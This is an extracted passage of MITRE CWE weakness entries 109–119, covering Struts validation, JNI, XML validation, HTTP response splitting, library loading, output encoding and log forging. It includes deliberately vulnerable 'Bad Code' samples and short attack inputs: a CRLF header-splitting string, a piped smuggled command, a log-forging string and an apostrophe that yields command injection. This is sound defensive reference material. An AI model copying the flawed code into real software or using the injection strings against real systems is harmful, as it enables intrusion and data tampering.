ChildOf		20	Improper Input Validation	<input checked="" type="checkbox"/>	699 700 1000 888	17 1376

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Unvalidated Action Form
Software Fault Patterns	SFP24	Tainted input to command

CWE-109: Struts: Validator Turned Off

Weakness ID: 109 (Weakness Variant) **Status:** Draft

Description

Summary

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

This mapping defines an action for a download form:

XML Example:

Bad Code

```
<action path="/download"
type="com.website.d2.action.DownloadAction"
name="downloadForm"
scope="request"
input=".download"
validate="false">
```

```
</action>
```

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.

Potential Mitigations

Implementation

Ensure that an action form mapping enables validation. Set the validate field to true.

Other Notes

The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "<" and a > with ">". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

Weakness Ordinalities

CWE-110: Struts: Validator Without Form Field

Weakness ID: 110 (Weakness Variant)

Status: Draft

Description

Summary

Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

Extended Description

It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- Java

Common Consequences

Other
Other

It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

Detection Methods

Automated Static Analysis

Moderate

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

Manual Static Analysis

Moderate

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

Demonstrative Examples

This example shows an inconsistency between an action form and a validation form. with a third field.

This first block of code shows an action form that has two fields, startDate and endDate.

Java Example:

Bad Code

```
public class DateRangeForm extends ValidatorForm {
    String startDate, endDate;
    public void setStartDate(String startDate) {
        this.startDate = startDate;
    }
    public void setEndDate(String endDate) {
        this.endDate = endDate;
    }
}
```

This second block of related code shows a validation form with a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

XML Example:

Bad Code

```
<form name="DateRangeForm">
    <field property="startDate" depends="date">
        <arg0 key="start.date"/>
    </field>
    <field property="endDate" depends="date">
        <arg0 key="end.date"/>
    </field>
    <field property="scale" depends="integer">
        <arg0 key="range.scale"/>
    </field>
</form>
```

CWE-111: Direct Use of Unsafe JNI

Weakness ID: 111 (*Weakness Base*)

Status: Draft

Description

Summary

When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

Extended Description

Many safety features that programmers may take for granted simply do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

Java Example:

Bad Code

```
class Echo {
    public native void runEcho();
    static {
        System.loadLibrary("echo");
    }
    public static void main(String[] args) {
        new Echo().runEcho();
    }
}
```

C Example:

Bad Code

```
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
    char buf[64];
    gets(buf);
    printf(buf);
}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of `gets()`, which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect

and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

Potential Mitigations

Implementation

Implement error handling around the JNI call.

Implementation

Refactoring

Do not use JNI calls if you don't trust the native library.

Implementation

Refactoring

Be reluctant to use JNI calls. A Java API equivalent may exist.

CWE-112: Missing XML Validation

Weakness ID: 112 (Weakness Base)

Status: Draft

Description

Summary

The software accepts XML from an untrusted source but does not validate the XML against the proper schema.

Extended Description

Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

Example 1:

The following code loads and parses an XML file.

Java Example:

Bad Code

```
// Read DOM
try {
  ...
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  factory.setValidating( false );
  ....
  c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
  ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

Example 2:

The following code creates a DocumentBuilder object to be used in building an XML document.

Java Example:

Bad Code

```
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
```

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

Potential Mitigations

Architecture and Design

Input Validation

Always validate XML input against a known XML Schema or DTD.

It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Weakness ID: 113 (Weakness Base)

Status: Incomplete

Description

Summary

The software receives data from an upstream component, but does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

Extended Description

Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks.

HTTP response splitting weaknesses may be present when:

- Data enters a web application through an untrusted source, most frequently an HTTP request.

- The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Integrity****Access Control****Modify application data****Gain privileges / assume identity**

CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the response the application intends to send, as well as allowing them to create additional responses entirely under their control.

Demonstrative Examples**Example 1:**

The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

Java Example:*Bad Code*

```
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

Result

```
HTTP/1.1 200 OK
```

```
...
Set-Cookie: author=Jane Smith
...
```

However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

Attack

```
Wiley Hacker\r\nHTTP/1.1 200 OK\r\n
```

then the HTTP response would be split into two responses of the following form:

Result

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK
...
```

Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

- cross-user defacement
- web and browser cache poisoning
- cross-site scripting
- page hijacking

Example 2:

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever.

This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.

In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Example 3:

The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user.

If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

Example 4:

Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users.

Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Example 5:

In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead.

By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Observed Examples

CVE-2005-2060	Bulletin board allows response splitting via CRLF in parameter.
CVE-2005-2065	Bulletin board allows response splitting via CRLF in parameter.

Potential Mitigations

Implementation

Input Validation

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-114: Process Control

Weakness ID: 114 (Weakness Base) Status: Incomplete

Description

Summary

Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

Extended Description

Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Confidentiality****Integrity****Availability****Execute unauthorized code or commands****Demonstrative Examples****Example 1:**

The following code uses `System.loadLibrary()` to load code from a native library named `library.dll`, which is normally found in a standard system directory.

Java Example:*Bad Code*

```
...
System.loadLibrary("library.dll");
...
```

The problem here is that `System.loadLibrary()` accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of `library.dll` higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's `library.dll` will now be run with elevated privileges, possibly giving them complete control of the system.

Example 2:

The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

C Example:*Bad Code*

```
...
RegQueryValueEx(hkey, "APPHOME",
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {
    strcpy(lib,home);
    strcat(lib,INITCMD);
    LoadLibrary(lib);
}
...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a

different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

Example 3:

The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

C Example:

Bad Code

```
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Potential Mitigations

Architecture and Design

Libraries or Frameworks

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Misinterpretation Error

CWE-116: Improper Encoding or Escaping of Output

Weakness ID: 116 (*Weakness Class*)**Status:** Draft**Description****Summary**

The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

Extended Description

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

Alternate Terms**Output Sanitization**

Output Validation**Output Encoding****Terminology Notes**

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. Of course, the concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Integrity**Confidentiality****Availability****Access Control****Execute unauthorized code or commands**

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.

Confidentiality**Bypass protection mechanism**

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.

Likelihood of Exploit

High

Detection Methods**Automated Static Analysis****Moderate**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples**Example 1:**

This code displays an email address that was submitted as part of a form.

JSP Example:

Bad Code

```
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

Example 2:

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

First let's look at the back end command processor code

Perl Example:

Bad Code

```
$inputString = readLineFromFileHandle($serverFH);
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
    # separate the operator from its arguments based on a single whitespace
    ($operator, $args) = split(/ /, $cmd, 2);
    $args = UriDecode($args);
    if ($operator eq "BAN") {
        ExecuteBan($args);
    }
    elsif ($operator eq "SAY") {
        ExecuteSay($args);
    }
}
```

The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

Perl Example:

Bad Code

```
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+//gs;
$argstr = UriEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
    die "Error: you are not the admin.\n";
}
# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");
print $fh "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UriEncode function could leave the "|" character intact. If an attacker provides:

Attack

```
SAY hello world|BAN user12
```

then the front end will see this is a "SAY" command, and the \$argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

Result

```
SAY hello%20world|BAN%20user12
```

The back end, however, will treat these as two separate commands:

Result

```
SAY hello world
BAN user12
```

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

Example 3:

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

Perl Example:

Bad Code

```
sub GetUntrustedInput {
    return($ARGV[0]);
}
sub encode {
    my($str) = @_ ;
    $str =~ s/\&/\&amp;/gs;
    $str =~ s/"/\&quot;/gs;
    $str =~ s/'/\&apos;/gs;
    $str =~ s/</\&lt;/gs;
    $str =~ s/>/\&gt;/gs;
    return($str);
}
sub doit {
    my $uname = encode(GetUntrustedInput("username"));
    print "<b>Welcome, $uname!</b><p>\n";
    system("cd /home/$uname; /bin/ls -l");
}
```

The programmer attempts to encode dangerous characters, however the blacklist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

Attack

```
'pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

Observed Examples

Reference	Description
CVE-2008-0005	Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
CVE-2008-0757	Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content.
CVE-2008-0769	Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
CVE-2008-3773	Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters.
CVE-2008-4636	OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed.
CVE-2008-5573	SQL injection via password parameter; a strong password might contain "&"

Potential Mitigations

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.116.1] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

Architecture and Design

Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Architecture and Design

Implementation

Understand the context in which your data will be used and the encoding that will be expected.

This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict whitelist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

ParentOf	B	838	<i>Inappropriate Encoding for Output Context</i>	699 1000	1264

Relationship Notes

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Research Gaps

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

Theoretical Notes

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

CWE-117: Improper Output Neutralization for Logs

Weakness ID: 117 (*Weakness Base*)

Status: Draft

Description

Summary

The software does not neutralize or incorrectly neutralizes output that is written to logs.

Extended Description

This can allow an attacker to forge log entries or inject malicious content into logs.

Log forging vulnerabilities occur when:

- Data enters an application from an untrusted source.
- The data is written to an application or system log file.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Confidentiality

Availability

Non-Repudiation

Modify application data

Hide activities

Execute unauthorized code or commands

Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker's tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.

Likelihood of Exploit

Medium

Demonstrative Examples

The following web application code attempts to read an integer value from a request object. If the `parseInt` call fails, then the input is logged with an error message indicating what happened.

Java Example:

Bad Code

```
String val = request.getParameter("val");
try {
    int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
    log.info("Failed to parse val = " + val);
}
```

```
}
...
```

If a user submits the string "twenty-one" for val, the following entry is logged:

```
INFO: Failed to parse val=twenty-one
```

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

```
INFO: Failed to parse val=twenty-one
```

```
INFO: User logged out=badguy
```

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

Observed Examples

Reference	Description
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Background Details

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID: 119 (Weakness Class)

Status: Usable

Description**Summary**

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

Alternate Terms**Memory Corruption**

The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, when the root cause is something other than a sequential copies of excessive data from a fixed starting location (i.e., classic buffer overflows or CWE-120).

This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms**Languages**

- C (Often)
- C++ (Often)
- Assembly

Platform Notes**Common Consequences**

Integrity**Confidentiality****Availability****Execute unauthorized code or commands****Modify memory**

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Availability**Confidentiality****Read memory****DoS: crash / exit / restart****DoS: resource consumption (CPU)****DoS: resource consumption (memory)**

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Confidentiality**Read memory**

